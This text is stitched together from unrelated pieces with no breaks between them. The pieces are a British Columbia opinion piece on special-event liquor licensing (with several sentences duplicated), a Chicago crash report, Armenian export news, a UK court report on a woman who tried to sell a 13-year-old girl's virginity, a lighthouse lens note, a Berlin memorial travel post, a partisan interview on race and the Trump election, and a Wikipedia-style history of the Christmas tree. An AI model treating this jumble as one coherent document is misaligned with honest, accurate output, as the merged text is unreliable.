The permits and laws over alcohol served at such events and festivals are unnecessarily complex and costly, such outdated and draconian policies and complex permits have had adverse impacts on the financial and logistical feasibility of hosting such events and festivals where alcohol is served. About a month ago, I did an in-depth exploratory article on local attitudes on alcohol and the highly restrictive laws and regulations the BC liquor board (and municipalities) places upon restaurants, bars, and nightclubs. To reiterate on that article:
A society that shows it can responsibly enjoy alcohol, without treating it as some pariah or taboo, is also a sign of a mature society…A more mature view and open practice to responsible drinking would significantly decrease the number of cases of “binge drinking.” To make alcohol a taboo implies that drinking should be done secretly and rarely.
Focusing on the liquor board’s impact on permanent establishments and the ban on happy hour in my last article, I largely left out the draconian and archaic liquor policies that are enforced on special events and festivals. This includes concerts, cultural festivals and celebrations, weddings, wine tasting events, and other private parties at venues both outdoor and indoor that do not have permanent alcohol licensing. If you wish to organize such events, you are required to go through the lengthy, costly, and time consuming process to acquire an Special Occasion License (SOL) for each event you organize. In the aforementioned first article, I briefly described my recent personal experience with acquiring SOLs:
I was an organizer for a major international week-long 2,000-person conference in Vancouver this past spring, and one of the several social events we held was meant to showcase the culture and traditions of the world. Delegations were permitted to host a booth that serves food and samples of alcohol from their home country. This is a traditional social event held at each edition of the conference, so when Vancouver could not pull off the alcohol aspect of allowing delegations to bring liquor from their home country for delegates’ to sample, it was terribly embarrassing. It says a lot about ourselves, as this has been a tradition of this particular “Global Village” social event at the conference for 21-years running – and Vancouver and British Columbia were the first to break the very tradition and concept of the event. Instead, as there was still a great desire to serve any brand of alcohol (even if it was a local brand), we had to direct the hosts of the delegation booths to buy their alcohol locally upon arrival at the price gouged provincially-operated BC Liquor Store. All alcohol served at the event had to be purchased from the BC Liquor Store. Even Singapore – last year’s host city – was able to pull it off. That’s right, we have more draconian liquor laws than the draconian city state of Singapore. The organization that governs the conference year after year could not understand what the difference was between bringing a bottle of wine from another country to serve to your friends at a house party and serving it to a larger audience at an event. Neither could the hosts of the booths, particularly the European delegations, who were completely flabbergast over our local laws. Where is the logic in all of this? What harm does any of this do?
To add on to the context of this specific experience, our conference was five-days long and we were required to host a big dance social event each and every night at a different and unique location. Two of our nightly events were held at a venue that had an in-house venue liquor license, while the other three nightly events required SOLs as the venues did not have any in-house liquor licensing. Bear in mind that each of these five social events consisted of 2,000+ university student attendees within the age group of 18 to 25: hosting such large-scale parties over several consecutive nights has never been attempted in Vancouver.
The experience my team and event endured could very well be a perfect case example of why BC’s SOL process is highly problematic, costly, and unnecessary for event organizers. Here are some of the issues with the SOL (please take note of some sarcasm below):
Outdoor SOL events have to end by 10:00 pm. It greatly limits the type of event planners can organize, whether it be an outdoor concert, festival, wedding, or dance. The 10:00 pm SOL rule applies even when the chosen outdoor venue does not break any municipality bylaws such as noise restrictions. There’s really nothing like an outdoor summer party that stops serving alcohol at 10:00 pm! Individuals are not allowed to apply for any type of SOL (they are only allowed to apply for family occasions such as weddings), only organizations are allowed to apply for any type of SOL. Otherwise unlicensed businesses (without a liquor-primary or food-primary license) are not allowed to acquire an SOL. There is a cap of two SOLs per month. There is no logic in allowing only two SOLs per month, it is simply an arbitrary and highly unnecessary policy. The only effect it might have is limit the number of alcohol SOLs an organization can have in any one month, it’s certainly a policy that would be fitting for “No-Fun-Couver.” Liquor for an SOL event cannot be bought from a cold beer or wine store, nor can it be imported. Liquor for an SOL event must be purchased from the government-operated BC Liquor Store. See my personal example above with organizing “Global Village.” This policy is not flexible, so if you are organizing an international wine tasting event, I wish you the best of luck! Minors (18 years of age and below) are not allowed into SOL events, except in weddings or when accompanied by adults. There’s nothing like imposing barrier fencing to enhance the ambiance of an event! But really though, when minors are excluded from participation or when fencing must be erected to filter minors from entering the drinking area, it provides for an very awkward and uninviting social atmosphere. One example I can quickly draw from is UBC’s recent “First Week BBQ,” where one-third of the concert field was fenced off just for the minors. Minors were unable to socialize and enjoy the event in an organic fashion like everyone else, despite paying for the same ticket price as those 19 years of age and over. Liquor availability cannot be advertised at an SOL event. This rule basically goes against the whole underlying principle of marketing, especially if an organizer is barely breaking even. Marketing attracts greater interest and attendance, therefore helping organizers break even on the costs to host the event. SOL events cannot make a total profit. There is also a highly restraining price minimum and maximum for liquor sold at SOL events. When you account for the cost to buy the liquor, followed by other costly budgetary items like security, equipment, labour, and venue rental costs, SOL events often barely break even (if not, a money losing affair). In fact, the SOL application also requires a security plan to be submitted should total anticipated attendance exceed 500 individuals – in other words, high mandatory professional security costs are enforced despite the limited avenues to recover such high operating labour costs. There is no financial incentive for an organizer to create an SOL event, other than a required/contracted commitment to provide clients and attendees an event experience that consists of alcohol. If you do make a total profit on your SOL event, not just profits from the bar, you must provide a proof of donation of profits within 60 days after an event has been held. The proof required must also include a financial statement and documentation that indicates the charity has received the profits, such as a letter of gratitude. SOL events are not allowed to sell spirits. Not only do they take your profits away, the liquor board also limits the organizer’s capability to make money to cover their operating expenses! In this case, the variety of drinks served at the bar of an SOL event is limited. There is an exemption process for some of these rules, but the application costs $100.00 and could take several weeks longer in addition to the regular SOL process. The most common exemption requests are: Extension of an event beyond 10:00 pm for outdoor events or up until 2:00 am for indoor events. This is also pending on local government (bylaws, noise restrictions) and local police approval. This is a highly time consuming and complex process.
This is also pending on local government (bylaws, noise restrictions) and local police approval. This is a highly time consuming and complex process. The ability to sell hard liquor at a public special event. For some arbitrary reason, the local government (e.g. City of Vancouver) and local police (e.g. Vancouver Police Department) have a say in this as well. This is another time consuming and complex process, in addition to the regular SOL process through the liquor board.
For some arbitrary reason, the local government (e.g. City of Vancouver) and local police (e.g. Vancouver Police Department) have a say in this as well. This is another time consuming and complex process, in addition to the regular SOL process through the liquor board. Charge more for drinks than the prices specified under the “Special Occasion License Liquor Price Schedule.” This is rarely allowed.
This is rarely allowed. Hold more than two Special Occasion Licenses per month or hold more than 24 per year. This is a common request from conferences which host consecutive events over a span of several days, with each event requiring an SOL. The liquor board can usually be understanding and permissive on this regard.
This is a common request from conferences which host consecutive events over a span of several days, with each event requiring an SOL. The liquor board can usually be understanding and permissive on this regard. The SOL applicant is not a Canadian citizen or a permanent resident of Canada.
All of the above is particularly frustrating for organizers of annual events, such as festivals. Organizers must go through the exact same process every year for the same event. With such complex and costly procedures to organize great events, organizers are greatly deterred to organize an event that requires an SOL: in fact, it contributes to the lack of such events and festivals in the province.
Police say the accident happened because a 37-year-old man was trying to drive himself to the hospital because he had been shot.
The man crashed into another vehicle on the 10100 block of State St.
Four people who were in the other vehicle were transported to hospitals.
A 24-year-old woman was taken to Christ Medical Center in critical condition.
A 1-month-old baby was taken to Christ Medical Center in critical condition.
A 5-year-old child was taken to Roseland Community Hospital in stable condition.
A 45-year-old woman was transported to Roseland Community Hospital in stable condition.
The 37-year-old man who was shot was taken to Christ Medical Center in critical condition.
Deputy Agriculture Minister Robert Makarian said Armenia has exported over 85,000 metric tons of fresh agricultural products so far this year, up by 71 percent compared with the same period in 2015. The fastest growth was recorded in exports of tomatoes, he told a news conference.
Armenian agricultural exports soared by more than 40 percent, in monetary terms, to $50 million in the first half of 2016, according to the National Statistical Service (NSS). The government agency also reported a 35 percent rise in first-half exports of alcoholic and soft drinks and prepared foodstuffs, which totaled $180 million.
Armenian exports to Russia, the main market for those products, nearly doubled to $168 million in January-June.
Makarian predicted a 35 percent surge in the physical volume of fruits and vegetables that will be purchased by Armenian liquor firms and canneries from farmers this year. It should reach 98,000 tons, he said, adding that tomatoes will account for just over half of the total.
Armenian exports to Russia plummeted by nearly 27 percent in 2015 primarily because of a sharp depreciation of the Russian ruble. With oil prices beginning to rally in January, the Russian currency has strengthened against the U.S. dollar this year, translating into more revenue for Armenian exporters.
The exporters also seem to be capitalizing on Armenia’s accession to the Russian-led Eurasian Economic Union and a ban on food imports to Russia from Europe and Turkey.
Despite the increased demand for agricultural products shown by government figures, scores of farmers from five villages in Armenia’s Armavir province blocked a major highway last week to protest against what they called a lack of wholesale buyers of their tomatoes.
Some of those farmers said on Tuesday that a number of local canneries offered to buy their produce after the protest. But they said those companies are setting extremely low prices or refusing to pay farmers upfront.
One villager said he was told that he would not be paid before December. “Who is going to repay my loans until then?” he complained.
Makarian dismissed the Armavir protest as premature, saying that the farmers staged it even before their tomatoes were ripe for harvest. He also said they should agree to be paid in installments because wine and brandy distilleries and canneries usually suffer from liquidity shortages in summer and autumn months.
“They must not present that as a tragedy,” said the vice-minister. “Everyone wants to be paid upfront when selling their produce. But we must take into account our reality.”
Some Armenian farmers have still not received payments for grapes sold to distilleries last year. Aghavnadzor, a village in the wine-growing Vayots Dzor province, is a case in point.
Haykaz Asatrian, an Aghavnadzor resident, said Vedi Alco, one of Armenia’s largest wine producers and the main buyer of local grapes, has repeatedly broken its promises to pay the grape farmers. “The situation is terrible,” he told RFE/RL’s Armenian service. “We are sick and tired of false promises.”
An international porn star who tried to sell a schoolgirl's virginity to a wealthy businessman for £30,000 has escaped jail.
Fleur Brown, who boasted holding the 2003 European "Gang Bang Trophy", spent weeks negotiating the deal she hoped would pay for a new car.
The woman, eager to prostitute the 13-year-old's innocence for as big a pay-off as possible, also wanted to clear a string of debts incurred by a breast enhancement operation in Thailand.
London's Snaresbrook Crown Court heard the woman, a regular at the porn industry's annual answer to the Oscars in Las Vegas, first broached the idea after an American porn film producer offered to make a film about her sordid career.
Alison Hunter, prosecuting, said the girl's involvement was initially limited to playing a young version of Brown in the film.
But when the project appeared to stall, the porn star suggested making money by selling the youngster's virginity.
A national newspaper learnt of her offer and got an undercover reporter, posing as a wealthy businessman's representative interested in having sex with the girl, to contact her.
Brown assured him: "You'd love her ... she's going to break some hearts when she's a bit older. She's very broad-minded."
Referring to the child as her "friend" and little realising she was being secretly filmed, she added: "She's thinking about going ahead and taking the first step anyway and I said to her you know when you're ready to take the next step ... how do you feel about doing some business? Wouldn't it make sense to get paid an awful lot of money for it?"
As the discussions continued, Brown, who also worked as £50-an-hour escort girl, confessed to having frequently supplied the girl with crack cocaine, and said she could easily get some for the child's would-be lover.
Eventually Brown agreed to take the youngster to a luxury hotel for the "transaction".
But instead of the businessman and the five-figure "sale price" she was so eagerly looking forward to, the police turned up instead.
Brown, of Goldhanger Road, Heybridge, Maldon, Essex, pleaded guilty to one count of arranging or facilitating the commission of a child sex offence in December, 2004, and one of possessing crack cocaine with intent to supply.
Bespectacled Brown remained impassive as Judge Timothy King told her that normally the serious offences she had committed would "justify" immediate imprisonment.
But in the two-and-a-half years since then there had been a "significant turnaround" in her life.
"First of all there seems to have been a re-think by you on the way you were leading life in the past, not only the drugs but also the type of work in which you were engaged.
"I'm told you have now left behind your work as a porn actress. That bodes well for the future... Moreover, you have managed to put behind you your drug habit. You have secured employment and you are holding that employment down."
But "the effect this must have had on the girl" could not be overlooked.
However, in view of her guilty pleas and the progress she had made, "I am satisfied in all the circumstances that I am justified in suspending the 12-month prison sentence I had in mind for two years".
He added she would also be subject to a 12-month supervision order and be required to register as a sex offender for 10 years.
Outside court, Detective Inspector Colin Burgess, of the Police Child Abuse Investigation Command: "It is a sad case.
"She was apparently involved in a life of hardcore pornography and she thought that this was a reasonable life for someone else to get involved in.
"It is apparent her addiction to crack played a large part in her twisted thought process, and that somebody could be so callous and greedy to prostitute a youngster, and worse sell her virginity, is an appalling example of child abuse."
Miss Hunter told the court that from an early age until her arrest, 32-year-old Brown had worked in the sex industry.
"She was an international porn star using the stage name Betty Swollocks having starred in over 200 movies, with her own website and frequently appearing on Television X."
The barrister said the woman could clearly be heard on the tapes "boasting, amongst other trophies she held, that she won the European Gang Bang trophy in 2003 for having sex with 466 men in four-and-a-half hours".
She said the story started in January 2004 when she attended the AVN awards - the "porn Oscars" - in Las Vegas.
While there she was asked if she was interested in making a "biopic" of her life.
She said she was, and mentioned the possibility of the 13-year-old playing her as a youngster.
But back in Britain the months passed and her debts increased without any further progress.
She then rang the film producer in America and this time suggested making money by selling the youngster's virginity.
Once the undercover journalist had made contact, she not only revealed she was addicted to crack but confessed to supplying the girl with it as well.
The pair were eventually taken to London's Kensington Rooms Hotel.
She was then taped saying: "I desperately need some cash... because I need a fast car. The sooner we do it the better because madam is getting a bit nervous. It's a big thing for a girl isn't it?"
Brown then demanded £30,000 for the sordid sale, adding the "client" could have as long as he wanted with the youngster.
"The price is based on the fact she is losing her virginity to this guy... that's what he is paying for, her virginity, which is why it is such a big deal and... such a big price."
In another taped conversation she asked if the businessman took drugs, and after making it clear the girl was a regular user as well, offered to buy some crack cocaine for him.
She was then given £200 to buy a few "rocks".
Later, as talk returned to the "arrangements", Brown suggested taking part in a "threesome of sorts", if the client was interested.
When the "evening of the act" finally arrived a few days later, Brown and the child were driven to another London hotel - the Kensington Palace - and told to wait for a summons from the businessman.
But Miss Hunter said the only call Brown received was from the police.
The highly polished Fresnel lenses utilized by lighthouses are beautiful objects. They refract and reflect light, creating prismatic colors when viewed from certain angles. It’s almost a miracle that a small flame in a lamp can be magnified to the extent that ships far out at sea can easily see it and be guided to safety. Light intensified by lenses in this museum could be seen 18 to 24 miles away!
The memorial in Treptower Park is the largest of the three main Soviet war memorials in Berlin – the other two are on Strasse des 17 Juni and in Schönholzer Heide.
When I got my first glimpse of the manicured lawns, the symmetrical beauty of the landscaping and marvellous sculptures, my immediate thought was ‘this is now one of my favourite places in Berlin’.
My first visit was on Monday morning, with the sun behind the monumental statue of the Soviet soldier carrying a rescued German child as he crushes a Swastika beneath his boot. It was difficult to capture the features of this statue facing into such strong sunlight so I returned on Wednesday evening when the sun had swung round so that it was behind the statue of Mother Russia at the other end of the memorial.
I entered the memorial from the north so it was only after I had reached this statue and turned to my left that I was able to see the scale of what had been built here.
I then walked along the paved slope up to the two red granite blocks and kneeling soldiers that seem to form a gateway to the next section leading to the statue, which is said to represent Sergeant of the Guards Nikolai Masalov.
I walked past the five lawns with their bronze wreaths, marking the mass graves of Soviet soldiers and flanked by sixteen stone sarcophagi and climbed the steps to the mausoleum crowned by the impressive statue.
It was after admiring the mosaic tiling of the mausoleum and as I rounded the statue that I felt what I thought was a scratch on my calf and looked down to see a wasp stinging me as the pain intensified slightly. I managed to strangle the swear word threatening to escape my lips as I remembered where I was just in time. In the end what I mumbled was something like ‘You bssst’.
And being stung was probably the only thing that meant this wasn’t a perfect morning in Berlin, enjoying the sunshine and experiencing the awe of a first visit to the Soviet War Memorial in Treptower Park.
Despite his centrist, moderate policies and avoidance of overtly liberal or progressive ideology, Obama was an extremely polarizing figure. For many white people, he became a dangerous and frightening symbol. In response, the Republican Party became even more extreme in its thinly veiled embrace of racism and white identity politics. For a certain strain of white conservatives, his very personhood seemed to embody an America where white people would, in the not too distant future, no longer be the majority group.
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In this context, obvious forms of white supremacy and white rage are no longer perceived as shameful outliers in American public opinion and thought. In response to Obama's (twice) election, such sentiments have been brought into the mainstream of post-civil rights America as "reasonable" responses to white folks' anxieties and fears about a country where a white person like them was not president.
The sum effect of these forces (and others) was the election of Donald Trump as president. It was effectively a white-male privilege temper tantrum and a moment of backward-looking revanchist rage. Trump's promise to "Make America great again" was more than an empty catchphrase. It was a potent threat against the civil rights and freedoms of people of color, women, gays and lesbians, Muslims and members of any other group that Trump and the Republican Party view as somewhat less than "real Americans."
What role did white privilege play in Trump's election? How did America arrive at a point where apparent white supremacists and white nationalists could be among the president's inner circle? Are Trump's voters motivated by white rage against people of color? Do Trump's supporters in the "white working class" deserve empathy or sympathy?
In an effort to answer these questions, I recently spoke with Tim Wise, one of the United States’ leading antiracism activists. Wise is the author of numerous books, including “Dear White America: Letter to a New Minority,” as well as “Under the Affluence: Shaming the Poor, Praising the Rich and Sacrificing the Future of America,” that when it was published in 2015 in many ways prefigured the Trump phenomenon and what it portended for the future of American politics and society.
Our conversation has been edited for length and clarity. A longer version can be heard on my podcast, which is available on Salon’s Featured Audio page.
Why do you think the media are so reluctant to shine a light on the white supremacists in Trump's administration?
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Of course, those of us who have tracked far-right movements have always known that there are multiple permutations. It's not like an Ancestry.com tree where you can just sort of trace it from Hitler on out and see the connections. I think it is easier for the media to say, "OK, we're going to leave the whole idea of white supremacy over here to the David Duke, Richard Spencer, Matt Heimbach types."
I can tell you that 27 years ago when I was first doing work against David Duke, anyone who had that kind of connection to his kind of thinking, such as Sebastian Gorka or Stephen Bannon, would have been absolutely persona non grata in American politics. Now it allows you to be a chief adviser to the president of the United States.
What do you think changed?
The United States is a thoroughly multicultural society in ways that it was not in 1990. [Back then] the economy had not just come through the biggest economic downturn since the Great Depression, where white folks experienced double digit unemployment for the first time in many decades. We hadn't had a black president challenging certain white folks' views of what leadership looks like.
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Another part of this dynamic is that for the last 30 years there were certain nice liberal folks whose argument about white nationalism was, "Let's not pay attention to it; let's not respond to it; let's not give them the credit that they don't deserve by actually even responding to their arguments." This idea that we didn't have to respond to their nonsense, I think, has proven to be a pretty bad strategy. I think that we do in fact have to directly confront white nationalists in the streets and also on the campuses. We also need to confront the entire logic behind white nationalism. Had we done that 25 years ago, I think, maybe we could have inoculated a lot of people against this nonsense.
How do you think the white backlash against Barack Obama and in favor of Donald Trump's racism and nativism will play out in the near future?
There are a couple of countervailing things happening at once. On the one hand, I think, we do have a lot of people between the ages of, say, their mid-teens to late 20s who are certainly more progressive around issues of identity relative to race, gender, sexuality and a lot of other things than previous generations. But there is a countervailing undercurrent of resentment and backlash among that same population. They're disconnected from community and they're disconnected from a sense of connectivity to others and human empathy.
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A sense of imperiled masculinity is central to their rage and resentment. Men are the dominant group in American society and the world, yet this silly narrative of "white male oppression" still has traction among too many people. It is a bizarre fantasy.
I was thinking about this recently. White men of a certain type who have not been primed for a more egalitarian worldview must be very frightened now.
Men who have been so used to a world where physicality was what gave you the edge are now confronting a world where most economic means of production are not about physical labor anymore. What does that mean for men as a sex who grew up having thousands of years of domination fed by economic systems that pandered to our particular skill set and now all of a sudden have to just make do with our share? That must feel like the end of the world.
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The rise of Trumpism has also inaugurated a whole subgenre of anthropological writing on the white working class and the white poor, most notably with the book "Hillbilly Elegy" by J.D. Vance. What's your take on this genre of writing?
When "Hillbilly Elegy" came out, I read it, and I thought, well you know, on the one hand I've always said, White folks, we need to put our dysfunction in the street because it's important for people to know that dysfunction is not the unique purview of black and brown people. But you gave voice to something important as well with your concerns about how poor white people will now be the focus of the narrative. This re-centers whiteness and then continues to obscure the pain and suffering of folks of color that America never really properly resolved.
The second risk also is that this subgenre of writing reinforces a larger sense of hostility to the poor and to the working class. We cannot forget that the author of "Hillbilly Elegy" is still very much connected to the right-wing policy world.
Vance almost literally says if you just work hard and make good choices, you too can be upwardly mobile — never mind structures and institutions.
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The problem is, I don't want a more ecumenical "culture of poverty" theory. I don't need the culture of poverty theory to be more broad-based, rather than just anti-black, the way Charles Murray intended it when he wrote "Losing Ground." I don't need that theory to be more ecumenical. I need that theory to be destroyed. The theory is false. The solution needs to be that the white poor and the white working class needs to get together with black and brown folks and figure out a way to fight for a better system.
There is research which clearly shows that if you examine the dynamics of family, wealth and income among the white working class and poor it looks very similar to what we've been saying about black and brown folks in the same cohort. But white folks are not pathologized in the same way.
There is a clear double standard in the way that we talk about the pathological behavior of drug addiction and dysfunction when it's white folks, as opposed to black and brown folks.
Like that blubbering Chris Christie crying about his friend who was addicted to drugs. When I saw that last year, I laughed and said to myself, "Where was his sympathy for black folks and Latinos and First Nations people?"
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One of the most highly correlated factors with Trump support, on a county-by-county basis, is the level of opiate addiction.
In a sense, Trump is the perfect candidate. Here is a guy who comes along and essentially is a walking, talking opioid. He's somebody who comes along and says, just like heroin does, just like OxyContin does, just like all these opiates do, he says, "I can take away your pain." Not only can I take it away, I can tell you what the source is and you just take me or in the case of an election, you vote for me and you won't have to be in pain anymore. But just like an opiate, he doesn't really solve the problem of these individuals.
There's a real discussion that needs to happen about this moment in American history where white folks more broadly are in a desperate search to be numb — numb to other people's pain, numb to their own suffering, seeking out scapegoats for their problems. Which of course is what addicts often do as well. To some extent if you become addicted to privilege, even if it's not great wealth, you've just become addicted to the privilege of being considered what a "real" American is.
I have no pity or sympathy or empathy for Trump's supporters. He is going to take away health insurance and destroy the social safety net for many millions of white voters who put him in office. I hate human suffering, period. But so many of Trump's voters are on a highway to hell that they eagerly chose to ride.
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I'm of a mixed mind because on the one hand it's really hard to have pity when the guy has told you what he's going to do and then [you're] surprised when he does it. It's like going to a pizza party and getting there and saying, "What the hell, why do we have pizza?" They told you it was a damn pizza party; if you don't want pizza, you shouldn't have come.
On the other hand, as a committed leftist if it were up to me I would make damn sure that you had guaranteed health care anyway because I love you that much. It's like we're going to drag you kicking and screaming to health care as a human right. We're going to drag you kicking and screaming to a guaranteed income. We're going to drag you kicking and screaming to the idea that food and shelter and medicine are human rights to which people are entitled. You may be mad at us for dragging you there, but at the end of the day we're going to help you out, too, if you give us a chance.
A young woman decorates the Christmas tree, painting by Marcel Rieder (1862–1942) from 1898
A Christmas tree is a decorated tree, usually an evergreen conifer such as a spruce, pine or fir, or an artificial tree of similar appearance, associated with the celebration of Christmas, originating in Northern Europe.[1] The custom was developed in medieval Livonia (present-day Estonia and Latvia), and in early modern Germany where Protestant Germans brought decorated trees into their homes.[2][3] It acquired popularity beyond the Lutheran areas of Germany[2][4] and the Baltic countries during the second half of the 19th century, at first among the upper classes.[5]
The tree was traditionally decorated with "roses made of colored paper, apples, wafers, tinsel, [and] sweetmeats". In the 18th century, it began to be illuminated by candles, which were ultimately replaced by Christmas lights after the advent of electrification. Today, there is a wide variety of traditional ornaments, such as garlands, baubles, tinsel, and candy canes. An angel or star might be placed at the top of the tree to represent the Angel Gabriel or the Star of Bethlehem, respectively, from the Nativity.[6][7] Edible items such as gingerbread, chocolate and other sweets are also popular and are tied to or hung from the tree's branches with ribbons.
In the Western Christian tradition, Christmas trees are variously erected on days such as the first day of Advent or even as late as Christmas Eve depending on the country;[8] customs of the same faith hold that the two traditional days when Christmas decorations, such as the Christmas tree, are removed are Twelfth Night and, if they are not taken down on that day, Candlemas, the latter of which ends the Christmas-Epiphany season in some denominations.[8][9]
The Christmas tree is sometimes compared with the "Yule-tree", especially in discussions of its folkloric origins.[10][11][12]
History [ edit ]
Origin of the modern Christmas tree [ edit ]
Modern Christmas trees originated during the Renaissance of early modern Germany. Its 16th-century origins are sometimes associated with Protestant Christian reformer Martin Luther, who is said to have first added lighted candles to an evergreen tree.[13][14][15]
The first recorded Christmas tree can be found on the keystone sculpture of a private home in Turckheim, Alsace (then part of Germany, today France), dating 1576.[16]
While today the Christmas tree is a recognized symbol for the holidays, it was once a pagan tradition unassociated with Christmas traditions.[17]
Possible predecessors [ edit ]
Northern Antiquities, an English translation of the From, an English translation of the Prose Edda from 1847. Painted by Oluf Olufsen Bagge.
Modern Christmas trees have been related to the "tree of paradise" of medieval mystery plays that were given on 24 December, the commemoration and name day of Adam and Eve in various countries. In such plays, a tree decorated with apples (to represent the forbidden fruit) and wafers (to represent the Eucharist and redemption) was used as a setting for the play. Like the Christmas crib, the Paradise tree was later placed in homes. The apples were replaced by round objects such as shiny red balls.[11][12][18][19][20][21]
At the end of the Middle Ages, an early predecessor appears referred in the Regiment of the Order of Cister around 1400, in Alcobaça, Portugal. The Regiment of the local high-Sacristans of the Cistercian Order refers to what may be considered one of the oldest references to the Christmas tree: "Note on how to put the Christmas branch, scilicet: On the Christmas eve, you will look for a large Branch of green laurel, and you shall reap many red oranges, and place them on the branches that come of the laurel, specifically as you have seen, and in every orange you shall put a candle, and hang the Branch by a rope in the pole, which shall be by the candle of the altar-mor."[22]
The relevance of ancient pre-Christian customs to the 16th-century German initiation of the Christmas tree custom is disputed. Resistance to the custom was often because of its supposed Lutheran origins.[23]
Other sources have offered a connection between the symbolism of the first documented Christmas trees in Alsace around 1600 and the trees of pre-Christian traditions. For example, according to the Encyclopædia Britannica, "The use of evergreen trees, wreaths, and garlands to symbolize eternal life was a custom of the ancient Egyptians, Chinese, and Hebrews. Tree worship was common among the pagan Europeans and survived their conversion to Christianity in the Scandinavian customs of decorating the house and barn with evergreens at the New Year to scare away the devil and of setting up a tree for the birds during Christmas time."[24]
During the Roman mid-winter festival of Saturnalia, houses were decorated with wreaths of evergreen plants, along with other antecedent customs now associated with Christmas.[25]
The Vikings and Saxons worshiped trees.[25] The story of Saint Boniface cutting down Donar's Oak illustrates the pagan practices in 8th century among the Germans. A later folk version of the story adds the detail that an evergreen tree grew in place of the felled oak, telling them about how its triangular shape reminds humanity of the Trinity and how it points to heaven.[26][27]
Georgia [ edit ]
Chichilaki , a Georgian Christmas tree variety
Georgians have their own traditional Christmas tree called Chichilaki, made from dried up hazelnut or walnut branches that are shaped to form a small coniferous tree.[28] These pale-colored ornaments differ in height from 20 cm (7.9 in) to 3 meters (9.8 feet). Chichilakis are most common in the Guria and Samegrelo regions of Georgia near the Black Sea, but they can also be found in some stores around the capital of Tbilisi.[citation needed] Georgians believe that Chichilaki resembles the famous beard of St. Basil the Great, because Eastern Orthodox Church commemorates St. Basil on 1 January.
Poland [ edit ]
In Poland there was an old pagan custom of suspending a branch of fir, spruce or pine called Podłaźniczka from the ceiling. An alternative to this was mistletoe. The branches were decorated with apples, nuts, cookies, colored paper, stars made of straw, ribbons and colored wafers. Some people believed that the tree had magical powers that were linked with harvesting and success in the next year.
In the late 18th and early 19th century, these traditions were almost completely replaced by the German custom of decorating the Christmas tree.
Estonia, Latvia and Germany [ edit ]
Customs of erecting decorated trees in wintertime can be traced to Christmas celebrations in Renaissance-era guilds in Northern Germany and Livonia. The first evidence of decorated trees associated with Christmas Day are trees in guildhalls decorated with sweets to be enjoyed by the apprentices and children. In Livonia (present-day Estonia and Latvia), in 1441, 1442, 1510 and 1514, the Brotherhood of Blackheads erected a tree for the holidays in their guild houses in Reval (now Tallinn) and Riga. On the last night of the celebrations leading up to the holidays, the tree was taken to the Town Hall Square, where the members of the brotherhood danced around it.[29]
A Bremen guild chronicle of 1570 reports that a small tree decorated with "apples, nuts, dates, pretzels and paper flowers" was erected in the guild-house for the benefit of the guild members' children, who collected the dainties on Christmas Day.[30] In 1584, the pastor and chronicler Balthasar Russow in his Chronica der Provinz Lyfflandt (1584) wrote of an established tradition of setting up a decorated spruce at the market square, where the young men "went with a flock of maidens and women, first sang and danced there and then set the tree aflame".
After the Protestant Reformation, such trees are seen in the houses of upper-class Protestant families as a counterpart to the Catholic Christmas cribs. This transition from the guild hall to the bourgeois family homes in the Protestant parts of Germany ultimately gives rise to the modern tradition as it developed in the 18th and 19th centuries.
18th to early 20th centuries [ edit ]
Germany [ edit ]
A little Christmas tree on the table, painting by Ludwig Blume-Siebert in 1888
By the early 18th century, the custom had become common in towns of the upper Rhineland, but it had not yet spread to rural areas. Wax candles, expensive items at the time, are found in attestations from the late 18th century.
Along the lower Rhine, an area of Roman Catholic majority, the Christmas tree was largely regarded as a Protestant custom. As a result, it remained confined to the upper Rhineland for a relatively long period of time. The custom did eventually gain wider acceptance beginning around 1815 by way of Prussian officials who emigrated there following the Congress of Vienna.
In the 19th century, the Christmas tree was taken to be an expression of German culture and of Gemütlichkeit, especially among emigrants overseas.[31]
A decisive factor in winning general popularity was the German army's decision to place Christmas trees in its barracks and military hospitals during the Franco-Prussian War. Only at the start of the 20th century did Christmas trees appear inside churches, this time in a new brightly lit form.[32]
Adoption by European nobility [ edit ]
Christmas tree painting 1877 by H. J. Overbeek
In the early 19th century, the custom became popular among the nobility and spread to royal courts as far as Russia. Princess Henrietta of Nassau-Weilburg introduced the Christmas tree to Vienna in 1816, and the custom spread across Austria in the following years. In France, the first Christmas tree was introduced in 1840 by the duchesse d'Orléans. In Denmark a Danish newspaper claims that the first attested Christmas tree was lit in 1808 by countess Wilhemine of Holsteinborg. It was the aging countess who told the story of the first Danish Christmas tree to the Danish writer Hans Christian Andersen in 1865. He had published a fairy-tale called The Fir-Tree in 1844, recounting the fate of a fir-tree being used as a Christmas tree.[33]
Britain [ edit ]
Although the tradition of decorating churches and homes with evergreens at Christmas was long established,[35] the custom of decorating an entire small tree was unknown in Britain until some two centuries ago. At the time of the personal union with Hanover, George III's German-born wife, Charlotte of Mecklenburg-Strelitz, introduced a Christmas tree at a party she gave for children in 1800.[36] The custom did not at first spread much beyond the royal family.[37] Queen Victoria as a child was familiar with it and a tree was placed in her room every Christmas. In her journal for Christmas Eve 1832, the delighted 13-year-old princess wrote:[38]
After dinner... we then went into the drawing-room near the dining-room... There were two large round tables on which were placed two trees hung with lights and sugar ornaments. All the presents being placed round the trees...
After Victoria's marriage to her German cousin Prince Albert, by 1841 the custom became even more widespread[39] as wealthier middle-class families followed the fashion. In 1842 a newspaper advert for Christmas trees makes clear their smart cachet, German origins and association with children and gift-giving.[40] An illustrated book, The Christmas Tree, describing their use and origins in detail, was on sale in December 1844.[41] On 2 January 1846 Elizabeth Fielding (née Fox Strangways) wrote from Laycock Abbey to William Henry Fox-Talbot: "Constance is extremely busy preparing the Bohemian Xmas Tree. It is made from Caroline's[42] description of those she saw in Germany".[43] In 1847 Prince Albert wrote: "I must now seek in the children an echo of what Ernest [his brother] and I were in the old time, of what we felt and thought; and their delight in the Christmas-trees is not less than ours used to be".[44] A boost to the trend was given in 1848[45] when The Illustrated London News,[46] in a report picked up by other papers,[47] described the trees in Windsor Castle in detail and showed the main tree, surrounded by the royal family, on its cover. In fewer than ten years their use in better-off homes was widespread. By 1856 a northern provincial newspaper contained an advert alluding casually to them,[48] as well as reporting the accidental death of a woman whose dress caught fire as she lit the tapers on a Christmas tree.[49] They had not yet spread down the social scale though, as a report from Berlin in 1858 contrasts the situation there where "Every family has its own" with that of Britain, where Christmas trees were still the preserve of the wealthy or the "romantic".[50]
